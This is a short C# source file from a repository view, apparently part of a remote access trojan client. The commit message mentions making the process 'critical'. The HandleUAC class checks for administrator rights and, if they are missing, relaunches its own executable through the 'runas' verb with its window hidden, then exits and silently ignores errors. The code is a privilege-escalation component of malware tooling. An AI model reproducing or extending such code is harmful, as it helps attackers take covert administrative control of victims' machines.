-Added process critical - thanks to MrDevBot -Add a method to handle client's exit -Minor bugs fixed
39 lines
1.0 KiB
C#
39 lines
1.0 KiB
C#
using Client.Helper;
|
|
using Microsoft.Win32;
|
|
using System;
|
|
using System.Collections.Generic;
|
|
using System.Diagnostics;
|
|
using System.IO;
|
|
using System.Linq;
|
|
using System.Security.Principal;
|
|
using System.Text;
|
|
using System.Windows.Forms;
|
|
|
|
namespace Client.Handle_Packet
|
|
{
|
|
public class HandleUAC
|
|
{
|
|
public HandleUAC()
|
|
{
|
|
if (new WindowsPrincipal(WindowsIdentity.GetCurrent()).IsInRole(WindowsBuiltInRole.Administrator)) return;
|
|
|
|
try
|
|
{
|
|
Process proc = new Process
|
|
{
|
|
StartInfo = new ProcessStartInfo
|
|
{
|
|
FileName = Process.GetCurrentProcess().MainModule.FileName,
|
|
WindowStyle = ProcessWindowStyle.Hidden,
|
|
CreateNoWindow = true,
|
|
Verb = "runas"
|
|
}
|
|
};
|
|
proc.Start();
|
|
Methods.ClientExit();
|
|
}
|
|
catch { }
|
|
}
|
|
}
|
|
}
|